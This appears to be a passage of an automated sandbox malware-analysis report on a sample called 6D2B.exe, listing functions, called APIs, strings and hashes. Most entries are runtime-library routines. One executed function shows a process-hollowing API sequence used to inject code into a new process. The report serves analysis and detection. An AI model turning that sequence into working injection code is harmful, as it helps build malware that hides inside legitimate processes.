API String ID: 3120068967-1823400153
Opcode ID: a212478d12ef5e88875abeb5c9849cea756504f86f7e2066743bbf78b1236b7c
Instruction ID: 3abe5c4315c8f5fc20de022526b452cff1f04c075f13ed5efb11f76e7605b509
Opcode Fuzzy Hash: a212478d12ef5e88875abeb5c9849cea756504f86f7e2066743bbf78b1236b7c
Instruction Fuzzy Hash: 474127B1E001299FDB24CF58DD81BAEB7B5FF85314F50409AD148AB241C7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00415EC7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415F15
_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80

Strings

+, xrefs: 00415EE0
p, xrefs: 00415F3F

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: d8178676200ed332399ac5c3eebb8c72b20355818b6d96d7f253c76fa602cd95
Instruction ID: 24b3c9e537a187757dc1ef649e66d319aa326464ced09195fc2deef3307c944a
Opcode Fuzzy Hash: d8178676200ed332399ac5c3eebb8c72b20355818b6d96d7f253c76fa602cd95
Instruction Fuzzy Hash: D9313BB0D046A9CECF25CF65C8543EEBF71AF49308F1481EAD44966242D2399AC6CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00414D71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00414DD8
__set_error_mode.LIBCMTD ref: 00414DE7
_strlen.LIBCMT ref: 00414E24

Strings

jjj, xrefs: 00414DC0
t/j, xrefs: 00414E11

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __set_error_mode$_strlen
String ID: jjj$t/j
API String ID: 3008368703-194299851
Opcode ID: 464a9da122e0128f50cb7cbd12e6fae0dc2e60ad166eb6073ee6f7f7e22a59cd
Instruction ID: a9518af9aca137ce62f356a31b53d03ebd4ec5462ff61c4e8a1149afa872d7ef
Opcode Fuzzy Hash: 464a9da122e0128f50cb7cbd12e6fae0dc2e60ad166eb6073ee6f7f7e22a59cd
Instruction Fuzzy Hash: 4B21D374900208FBEF24CF84E945BEE3370FB85304F24416BE805A6391D3799E90DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__raise_exc.LIBCMTD ref: 0041DF21

Part of subcall function 0041E4F0: __raise_exc_ex.LIBCMTD ref: 0041E50F

__umatherr.LIBCMTD ref: 0041DF76

Part of subcall function 0041E830: __ctrlfp.LIBCMTD ref: 0041E880

__ctrlfp.LIBCMTD ref: 0041DF9A

Strings

RB, xrefs: 0041DF88
Q., xrefs: 0041DF2C

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __ctrlfp$__raise_exc__raise_exc_ex__umatherr
String ID: Q.$RB
API String ID: 3448981373-1859500299
Opcode ID: d0c3480217b9f4139c17bbfa8698c80afa6a3d1fed7586dcdb2c46ba1bbb8e96
Instruction ID: 4d1b09039bc37fd57adbf80bd05dc50cf6f66550aa18dc65886d20bfd4b5ab9b
Opcode Fuzzy Hash: d0c3480217b9f4139c17bbfa8698c80afa6a3d1fed7586dcdb2c46ba1bbb8e96
Instruction Fuzzy Hash: 9711A5F6900104DBCF14EF95DCC2A9A7374BF48308F0446ADED454B146DA35D9A8CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409F7D Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0040A025

Part of subcall function 0040E4C0: __encode_pointer.LIBCMTD ref: 0040E5A1

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: c66294dd437992085de918e43f0ce585a13288baecd32da51b908f13a25683cb
Instruction ID: 4f71aa223d5a5870d7119f87dc0b4a288f6dfc6b6327104dc9a1076a40c9ba97
Opcode Fuzzy Hash: c66294dd437992085de918e43f0ce585a13288baecd32da51b908f13a25683cb
Instruction Fuzzy Hash: 0D413631C04708D6CB21BF39DA4616EB7B0EF84345F108B7AF88875291EB388A59C34B

Uniqueness

Uniqueness Score: -1.00%

Function 00426894 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004268F3
_memset.LIBCMT ref: 0042697C
__invalid_parameter.LIBCMTD ref: 004269DB

Strings

P, xrefs: 004269F0

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: bcbb06c29154eeca6fc95a57d8c1480f284ac6a2220c8c02a1c3e24074d612aa
Instruction ID: 0ef65a3ed71e04e38f5bca41448adae12edad044c09447841905f9e3868ad061
Opcode Fuzzy Hash: bcbb06c29154eeca6fc95a57d8c1480f284ac6a2220c8c02a1c3e24074d612aa
Instruction Fuzzy Hash: 3741AA70E00359DBCB14DF68E8457AE7770FB81329F61826AE8246B3C0D7799990CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF86 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 64a90f2d4be0e2bfca1aeffdabb822d097ad3d724abca5919cce7bc9ae008417
Instruction ID: 4fe66469e981caed19d17602546848ac74b801701cdec93cd8023a444f72a4f0
Opcode Fuzzy Hash: 64a90f2d4be0e2bfca1aeffdabb822d097ad3d724abca5919cce7bc9ae008417
Instruction Fuzzy Hash: 2D4136B0E001299FDB24CF48DD81BAEB7B5FF85314F50409AE148AB241C7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042454C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: c7682bc408faba915b13212d2bc31a4834e275ea9f7c444f0ac56b712551be38
Instruction ID: c742c05a97f008d2f97410461e5b474278686064f5e233de4fc2cd708c1b9a2f
Opcode Fuzzy Hash: c7682bc408faba915b13212d2bc31a4834e275ea9f7c444f0ac56b712551be38
Instruction Fuzzy Hash: 4241E471E01629DFEB24CF88D889BAEB7B5FB85304F60819AD019A7240C7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00417B2D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

9, xrefs: 00417D59

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 23b6a73943eb48f64fe505da92091fc09011ec1214821706c2e8630e18127dc1
Instruction ID: c0db718e7d40a649a0a2dde42c51ee00f7c44be98abd5aa57dcf3e8d3dd38241
Opcode Fuzzy Hash: 23b6a73943eb48f64fe505da92091fc09011ec1214821706c2e8630e18127dc1
Instruction Fuzzy Hash: 4C41E371E086299FDB64DF48C989BEEB7B5BB84304F10859AE049A7340D7389EC0CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0042CFD4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: bd226a4a4020efa8494d8a19407e76819f085cafc809bb271a7dc1cfca2ff8e0
Instruction ID: 86ef1da00a68aefa072a0711778ef14cc24df115d799e06279c175f12f479282
Opcode Fuzzy Hash: bd226a4a4020efa8494d8a19407e76819f085cafc809bb271a7dc1cfca2ff8e0
Instruction Fuzzy Hash: FE4106B1E0012A9FDB24CF48DD81BAEB7B5FF85314F5045AAD148A7241C7389E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004244FB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
_get_int64_arg.LIBCMTD ref: 004245A0
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767

Strings

9, xrefs: 00424778

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: c425e278d7fc1f5c96643a3650f295e54296c8abdf08653debee2f3db935b5bc
Instruction ID: 34b78fea14578c2dd1462605bbab7b58baa79729f14af418d338dcff13cfce14
Opcode Fuzzy Hash: c425e278d7fc1f5c96643a3650f295e54296c8abdf08653debee2f3db935b5bc
Instruction Fuzzy Hash: 6441D4B1E05628DFDB24CF58E889BAEB7B5FB85304F6081DAD009A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00417ADC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417B59
_get_int64_arg.LIBCMTD ref: 00417B81
__aullrem.LIBCMT ref: 00417D26
__aulldiv.LIBCMT ref: 00417D48

Strings

9, xrefs: 00417D59

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5eed1dd7b4b4824eca1904ddcb84355627e666959020b580de447aefeb0b396d
Instruction ID: 3f3d66cce68f1192e332820fc2923ba2a5d3cf23b5b3e33e1ab355be97bb8d9f
Opcode Fuzzy Hash: 5eed1dd7b4b4824eca1904ddcb84355627e666959020b580de447aefeb0b396d
Instruction Fuzzy Hash: 0441D1B1E086299FDB64DF58D989BEEB7B5BB85304F10459AE009A7340D7389AC0CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF7D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
_get_int64_arg.LIBCMTD ref: 0042D028
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 78b67eb0f456a2c3ac797c829ff8b93ab7877f0542cf1b1614b613c68cfc1f77
Instruction ID: f659c32a9192b60f370526d04667895e66e57e35e5e1986054bd015417eb45a3
Opcode Fuzzy Hash: 78b67eb0f456a2c3ac797c829ff8b93ab7877f0542cf1b1614b613c68cfc1f77
Instruction Fuzzy Hash: 104115B1E001299FDB24CF48DD81BAEB7B5FB85314F5041DAE248A7201C7389E81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F780 Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0041F79A
_$I10_OUTPUT.LIBCMTD ref: 0041F7C2
_wcscpy_s.LIBCMTD ref: 0041F802

Part of subcall function 0040D5F0: __invalid_parameter.LIBCMTD ref: 0040D662

__invoke_watson_if_error.LIBCMTD ref: 0041F80B

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: 8df67f43236d5330977455c06ed8844b41becd1ab5c09577f4fc19ec3334a221
Instruction ID: 2775cfe2b9853f7f4d9ddc1e73e503f094be1e4ddf7b630a81f95180c0b00d11
Opcode Fuzzy Hash: 8df67f43236d5330977455c06ed8844b41becd1ab5c09577f4fc19ec3334a221
Instruction Fuzzy Hash: 19216DB5A002089BCB04EFA4DC82EDEB7F4BF8C304F148569F80567381E634E915CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415777 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041592F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

n, xrefs: 0041595A

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: b88fb38a14af09ba93c34b06abbd0396d1c58cef5ef076fbea834cd8b4db25de
Instruction ID: ca26d70b7e6c17a5b17bd6e1d72da019596efbf6915680228961dadd6afc74c5
Opcode Fuzzy Hash: b88fb38a14af09ba93c34b06abbd0396d1c58cef5ef076fbea834cd8b4db25de
Instruction Fuzzy Hash: E3418CB0D01659CBCF24CF55D4943EEBBB1AF41325F24819BD4656A281D3388ED1CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004157A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041592F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

n, xrefs: 0041595A

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 3d3a0eea93c702cdc0f17dde8c2fa10045c5b5acde8b751d3d5e8021022a3eae
Instruction ID: ca26d70b7e6c17a5b17bd6e1d72da019596efbf6915680228961dadd6afc74c5
Opcode Fuzzy Hash: 3d3a0eea93c702cdc0f17dde8c2fa10045c5b5acde8b751d3d5e8021022a3eae
Instruction Fuzzy Hash: E3418CB0D01659CBCF24CF55D4943EEBBB1AF41325F24819BD4656A281D3388ED1CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00415867 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0041592F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

n, xrefs: 0041595A

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: aaa2763301cdb54c4d872fb57cbdd135f5c3c0b4c2f41c9f49eb896a73c5585e
Instruction ID: c053f30d8092e7f77b156dd272f4c5a0a12c9d004cc56aeedff5c9d3ef37d72b
Opcode Fuzzy Hash: aaa2763301cdb54c4d872fb57cbdd135f5c3c0b4c2f41c9f49eb896a73c5585e
Instruction Fuzzy Hash: 3E319EB0901659CBCF24CF55D4943EEBBB0AF41325F24419BE4A62A281D3388ED1CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00415EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80
_isdigit.LIBCMTD ref: 00415FA6
__inc.LIBCMTD ref: 00416090
__un_inc.LIBCMTD ref: 004160B4
_isxdigit.LIBCMTD ref: 0041610D
__hextodec.LIBCMTD ref: 00416130
_isdigit.LIBCMTD ref: 00416153
__inc.LIBCMTD ref: 00416204
__un_inc.LIBCMTD ref: 00416228
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

p, xrefs: 00415F3F

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: e10c7e782c73b146a98b5dfae28bf1d907e7bbaaf468007918dda4523d922008
Instruction ID: 1625681a04721a4a076163c33e487a969c965927cbcd51f6b4c18869cabe57b6
Opcode Fuzzy Hash: e10c7e782c73b146a98b5dfae28bf1d907e7bbaaf468007918dda4523d922008
Instruction Fuzzy Hash: 8F2154B4D04669CECF25CF65C8503FEBBB5AF48308F1441EBD44966242D2399AC2CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__onexit_nolock.LIBCMTD ref: 0040B042

Part of subcall function 0040B080: __encode_pointer.LIBCMTD ref: 0040B08E
Part of subcall function 0040B080: __encode_pointer.LIBCMTD ref: 0040B0A0

Strings

\CA, xrefs: 0040B03E, 0040B041
\CA, xrefs: 0040B029, 0040B064

Memory Dump Source

Source File: 0000000B.00000002.431151126.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_viiivdw.jbxd

Similarity

API ID: __encode_pointer$__onexit_nolock
String ID: \CA$\CA
API String ID: 1977201873-88070139
Opcode ID: 1f3af37de6406e7aaec35e77fc1a8a929f317e465e5fec050caeb050621dcab0
Instruction ID: 838d8f53cff9bfe01b8806ce3e92ae54a87b9504e49343fe965058ab58125c7b
Opcode Fuzzy Hash: 1f3af37de6406e7aaec35e77fc1a8a929f317e465e5fec050caeb050621dcab0
Instruction Fuzzy Hash: D8F0A4B6D04249ABC700DFA5DC41B9BB7B8EB45724F10463BF825A36C0D73D55008AA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6D2B.exePID: 6660, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	85.7%
Signature Coverage:	50%
Total number of Nodes:	42
Total number of Limit Nodes:	8

Executed Functions

Function 02F40110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02F40156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02F4016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02F40255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02F40270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02F40283
GetThreadContext.KERNELBASE(00000000,?), ref: 02F4029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02F402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02F402E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02F40304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02F4032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02F40399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02F403BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02F403E1
ResumeThread.KERNELBASE(00000000), ref: 02F403ED
ExitProcess.KERNEL32(00000000), ref: 02F40412

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 1c9a53680b64a4ce6dc787b8eb6b8897b4887ed3773b44cad3896ebf226912fe
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FFB1C974A00208AFDB44CF98C895F9EBBB5FF88314F248158E609AB391DB71AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02EAB7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02EAB7EE
Module32First.KERNEL32(00000000,00000224), ref: 02EAB80E

Memory Dump Source

Source File: 0000000E.00000002.651052165.0000000002EAB000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EAB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2eab000_6D2B.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 24291bfc6709b2c1f699ffd6ef767225b5632d34a01fd5395a679429a2ae16c2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3EF0F6326407106FD7203BF8A89CB6E76E8EF5872DF10522CF642D90C0DBB0F8454A60

Uniqueness

Uniqueness Score: -1.00%

Function 02F40420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02F40533

Strings

d, xrefs: 02F40584
saodkfnosa9uin, xrefs: 02F404DA
mfoaskdfnoa, xrefs: 02F40520, 02F40523
0, xrefs: 02F40492

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 0ed7ff6e1ac155d7c5fa2fb6de020ff4a871e2e0fcfbb3049be6d3a1f8b90f6f
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 3D512870D08388DAEB15CBA8C849BDDBFB2AF11748F14405CD6446F286CBFA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02F405B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02F405EC

Strings

o, xrefs: 02F40600
apfHQ, xrefs: 02F405E2, 02F405E5

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: d410094c25f4079b72bde18071631cddc29103670ec749a8f79077e2a3652d9d
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 5A012170C0425CEEDF14DB98C5183AEBFB5AF41348F1480DDC6492B241DBB69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02EAB485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02EAB4D6

Memory Dump Source

Source File: 0000000E.00000002.651052165.0000000002EAB000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EAB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2eab000_6D2B.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: bc147a25ed86ddd2fb79d76551e67d0a0885a0775c25d967cf3fa648a3565613
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 05112879A40208EFDB01DF98C995E99BBF5AF08350F0580A4F9489B361D371EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02EAC71C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.651052165.0000000002EAB000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EAB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2eab000_6D2B.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: dcf6865a5bed7dce1d74dfba03845c33772431d3ac2c5e2de38ff1eb92cd4b7d
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 193146758462819FCB15CF74D8A0AB5BB70FF46228F28F59ED0818F102D3357046C794

Uniqueness

Uniqueness Score: -1.00%

Function 02F63F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02F63F51

Part of subcall function 02F65BA8: __getptd_noexit.LIBCMT ref: 02F65BA8

__gmtime64_s.LIBCMT ref: 02F63FEA
__gmtime64_s.LIBCMT ref: 02F64020
__gmtime64_s.LIBCMT ref: 02F6403D
__allrem.LIBCMT ref: 02F64093
